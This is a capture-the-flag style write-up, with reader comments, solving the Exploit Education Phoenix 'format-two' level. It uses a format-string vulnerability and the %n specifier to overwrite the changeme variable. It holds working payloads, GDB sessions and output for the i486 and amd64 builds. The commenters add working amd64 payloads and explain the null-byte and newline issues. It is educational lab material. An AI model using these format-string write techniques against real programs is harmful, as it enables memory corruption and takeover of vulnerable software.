The description and source code can be found here:
http://exploit.education/phoenix/format-two/
This time, the changeme variable isn’t conveniently placed right next to a buffer that gets filled with the result of format strings from user input. We’ll need to be able to change memory at a specific location. To do this, we’ll use the “%n” format type, which writes the number of characters written so far to an integer pointer. Take, for example, this very simple program to demonstrate it:
#include <stdio.h> int main() { int num; printf("12345678%n\n", &num); printf("Number of bytes in the previous line: %d\n", num); return 0; }
Before the printf() function is called, 2 values are pushed onto the stack; the address of the format string, and the address of the num variable. The “%n” format type simply writes the number of bytes written so far to the num variable.
user@phoenix-amd64:~$ gcc test.c -o test user@phoenix-amd64:~$ ./test 12345678 Number of bytes in the previous line: 8
We can take advantage of this in a format string vulnerability. What we write is stored on the stack, it’s just a matter of finding it. For the input to the format-two program, we start the string with an easy-to-find value, such as “AAAA”. Then we search for the value by adding the “%x” format type until we get to the 0x41414141 value.
$ /opt/phoenix/amd64/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. Welcome to phoenix/format-two, brought to you by https://exploit.education AAAA.0.a.0.ffffe596.dad187da.ffffe570.ffffe570.ffffe670.400705.ffffe6c8.400368.Better luck next time! $ /opt/phoenix/amd64/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. Welcome to phoenix/format-two, brought to you by https://exploit.education AAAA.0.7.0.ffffe599.ffffe52f.ffffe570.ffffe570.ffffe670.400705.ffffe6c8.400368.41414141.Better luck next time!
You can see that we’ll need to supply 12 of the “%x” format types to get to the start of our format string. Now, if we replace the last one with “%n”, the program will try to write to the address at that position. However, since the value there is 0x41414141, it won’t be able to:
$ /opt/phoenix/amd64/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n Welcome to phoenix/format-two, brought to you by https://exploit.education Segmentation fault
Now we should be able to change that to a valid address. Let’s get the address of the changeme variable. We can use nm, which will list the symbols (and their addresses) in the binary:
$ nm /opt/phoenix/amd64/format-two | grep changeme 0000000000600af0 B changeme
So the changeme variable is at 0x00600af0. Now there’s two problems here. One of those characters is 0x0a, which is the newline character, which will terminate input to printf() and the rest will be ignored. Also, we would need to include several null bytes to make it an 8 byte pointer. And, of course, null bytes will terminate a string. Plus there’s the problem of getting that null byte included in the program argument (see the Bash warning below). But typically, we’d set the first 4 bytes (replacing the A’s) to be a pointer to the changeme variable.
$ /opt/phoenix/amd64/format-two $(echo -e "\xf0\x0a\x60\x00.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n") -bash: warning: command substitution: ignored null byte in input Welcome to phoenix/format-two, brought to you by https://exploit.education �Better luck next time!
As you can see, only one byte is written to the terminal (0xf0) since the second byte is a newline character (0x0a). That and everything after it is ignored. We also have the Bash warning that the null byte in input was ignored. We can solve the problem of null bytes by putting the address at the end of the format string and including a few extra “%x” format types. I’ll do this in GDB and modify an address on the stack so it’s easy to see the change:
$ gdb -q /opt/phoenix/amd64/format-two GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from /opt/phoenix/amd64/format-two...(no debugging symbols found)...done. gef> disas bounce Dump of assembler code for function bounce: 0x000000000040066d <+0>: push rbp 0x000000000040066e <+1>: mov rbp,rsp 0x0000000000400671 <+4>: sub rsp,0x10 0x0000000000400675 <+8>: mov QWORD PTR [rbp-0x8],rdi 0x0000000000400679 <+12>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040067d <+16>: mov rdi,rax 0x0000000000400680 <+19>: mov eax,0x0 0x0000000000400685 <+24>: call 0x4004a0 <printf@plt> 0x000000000040068a <+29>: nop 0x000000000040068b <+30>: leave 0x000000000040068c <+31>: ret End of assembler dump. gef> b *bounce+29 Breakpoint 1 at 0x40068a gef> run AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. Starting program: /opt/phoenix/amd64/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. Welcome to phoenix/format-two, brought to you by https://exploit.education Breakpoint 2, 0x000000000040068a in bounce () [... GEF output snipped ...] ─────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe540│+0x0000: 0x00007fffffffe570 → "AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x." ← $rsp 0x00007fffffffe548│+0x0008: 0x00007fffffffe570 → "AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x." 0x00007fffffffe550│+0x0010: 0x00007fffffffe670 → 0x0000000000000002 ← $rbp 0x00007fffffffe558│+0x0018: 0x0000000000400705 → <main+120> mov eax, DWORD PTR [rip+0x2003e5] # 0x600af0 <changeme> 0x00007fffffffe560│+0x0020: 0x00007fffffffe6c8 → 0x00007fffffffe8a7 → "/opt/phoenix/amd64/format-two" 0x00007fffffffe568│+0x0028: 0x0000000200400368 0x00007fffffffe570│+0x0030: "AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x." 0x00007fffffffe578│+0x0038: "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x." [... GEF output snipped ...]
I’ll be looking to modify the value on the stack at the address 0x7fffffffe568. Without using the “%n” format type, the value after the printf() function is 0x0000000200400368. With some experimentation, I was able to find the right number of “%x” format types to get to where the “AAAA” value is stored.
gef> run $(echo -e "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n\x68\xe5\xff\xff\xff\x7f") Starting program: /opt/phoenix/amd64/format-two $(echo -e "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n\x68\xe5\xff\xff\xff\x7f") Welcome to phoenix/format-two, brought to you by https://exploit.education Breakpoint 2, 0x000000000040068a in bounce () [... GEF output snipped ...] ─────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe540│+0x0000: 0x00007fffffffe570 → 0x7825782578257825 ← $rsp 0x00007fffffffe548│+0x0008: 0x00007fffffffe570 → 0x7825782578257825 0x00007fffffffe550│+0x0010: 0x00007fffffffe670 → 0x0000000000000002 ← $rbp 0x00007fffffffe558│+0x0018: 0x0000000000400705 → <main+120> mov eax, DWORD PTR [rip+0x2003e5] # 0x600af0 <changeme> 0x00007fffffffe560│+0x0020: 0x00007fffffffe6c8 → 0x00007fffffffe8aa → "/opt/phoenix/amd64/format-two" 0x00007fffffffe568│+0x0028: 0x000000020000005b ("["?) 0x00007fffffffe570│+0x0030: 0x7825782578257825 0x00007fffffffe578│+0x0038: 0x7825782578257825 [... GEF output snipped ...]
As you can see, I was able to modify that value and change it to 0x5b, which is 91 in decimal. Why 91? Well, let’s run this outside of GDB:
$ /opt/phoenix/amd64/format-two $(echo -e "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n\x68\xe5\xff\xff\xff\x7f") Welcome to phoenix/format-two, brought to you by https://exploit.education 0a0ffffe5961a97ffffe570ffffe570ffffe670400705ffffe6c840036878257825782578257825782578257825h����Better luck next time!
If you count the number of bytes that were printed before the start of the address, there are 91 of them. This does not include the “h” before the un-printable characters as “h” in hex is 0x68, the first byte of the address. I’m still not sure if I’ll be able to solve this level in the amd64 architecture. Let’s try it for x86.
$ nm /opt/phoenix/i486/format-two | grep changeme 08049868 B changeme $ /opt/phoenix/i486/format-two AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. Welcome to phoenix/format-two, brought to you by https://exploit.education AAAA.ffffd8c7.100.0.f7f84b67.ffffd720.ffffd708.80485a0.ffffd600.ffffd8c7.100.3e8.41414141.Better luck next time! $ /opt/phoenix/i486/format-two $(echo -e "\x68\x98\x04\x08%x%x%x%x%x%x%x%x%x%x%x%n.") Welcome to phoenix/format-two, brought to you by https://exploit.education hffffd8d31000f7f84b67ffffd730ffffd71880485a0ffffd610ffffd8d31003e8.Well done, the 'changeme' variable has been changed correctly!
He there 😀 ,
So amd64 is not possible to solve, why the payload works in x86 but not in amd64.
Sorry for the slow response, I just saw your comment. The problem with the amd64 challenge is that the address of the “changeme” variable is 0x600af0, and 0x0a is the newline character. If I put that in my exploit payload, the strncpy() function will ignore it and every character after it.
Hi!
I was able to complete this challenge on the amd64 architecture with the following command (must be using bash, since its using the $’…’ syntax in order to substitute the \x characters):
./format-two $’%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60′
The problem with your solution was the use of echo, it seems like echo does not actually produce the right bytes for the newline character.
When running the following command:
./format-two (echo -ne “%p\x0aAAAA”)
while debugging with gdb, examining the memory where the command line parameters are stored reveals:
0x41007025
meaning the newline character (hex 0x0a) was somehow converted to 0x00
The strncpy does not in fact ignore newline characters and it will happily copy it over until it find a null terminator (hex 0x00), This is why the address needs to be at the end of the given parameter (as you pointed out), but you don’t actually need to supply the ending zeros for the address
(even though running the command
./format-two $’%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60\x00\x00\x00\x00′
would still actually work, but only the first zero would be copied over)
this is because the buffer buf is zeroed out before the command line parameter is copied into it, so there are already zeros there 🙂
Cool, I’ll try this out when I get chance. Thank you!
@Jake
This is also a correct solution:
./format-two $’%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60′
You don’t actually need the NULL bytes at the end there, because C will ignore them anyways (C will terminate a string at the first NULL byte)
And actually, continuing the train of thought, the reason the exploit works:
./format-two $’%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60′
is because of this line in the source code:
memset(buf, 0, sizeof(buf));
which nulls out the buffer.
Since we can’t add null bytes ourself, we need it to be nulled out.
@andrew, nice write-up. I found two things sped up this challenge; compile it for 32-bit ( to avoid a null byte issue with the changeme flag ) and debugging what was passed into argv[1].
Inside gdb: run $(python -c ‘print “\x30\xa0\x04\x08” + “%x” * 14 + “%n”‘)
alternative inside gdb:
run $(cat change_me_bytes.hex)
outside gdb:
# ./format-two-32b $(cat change_me_bytes.hex )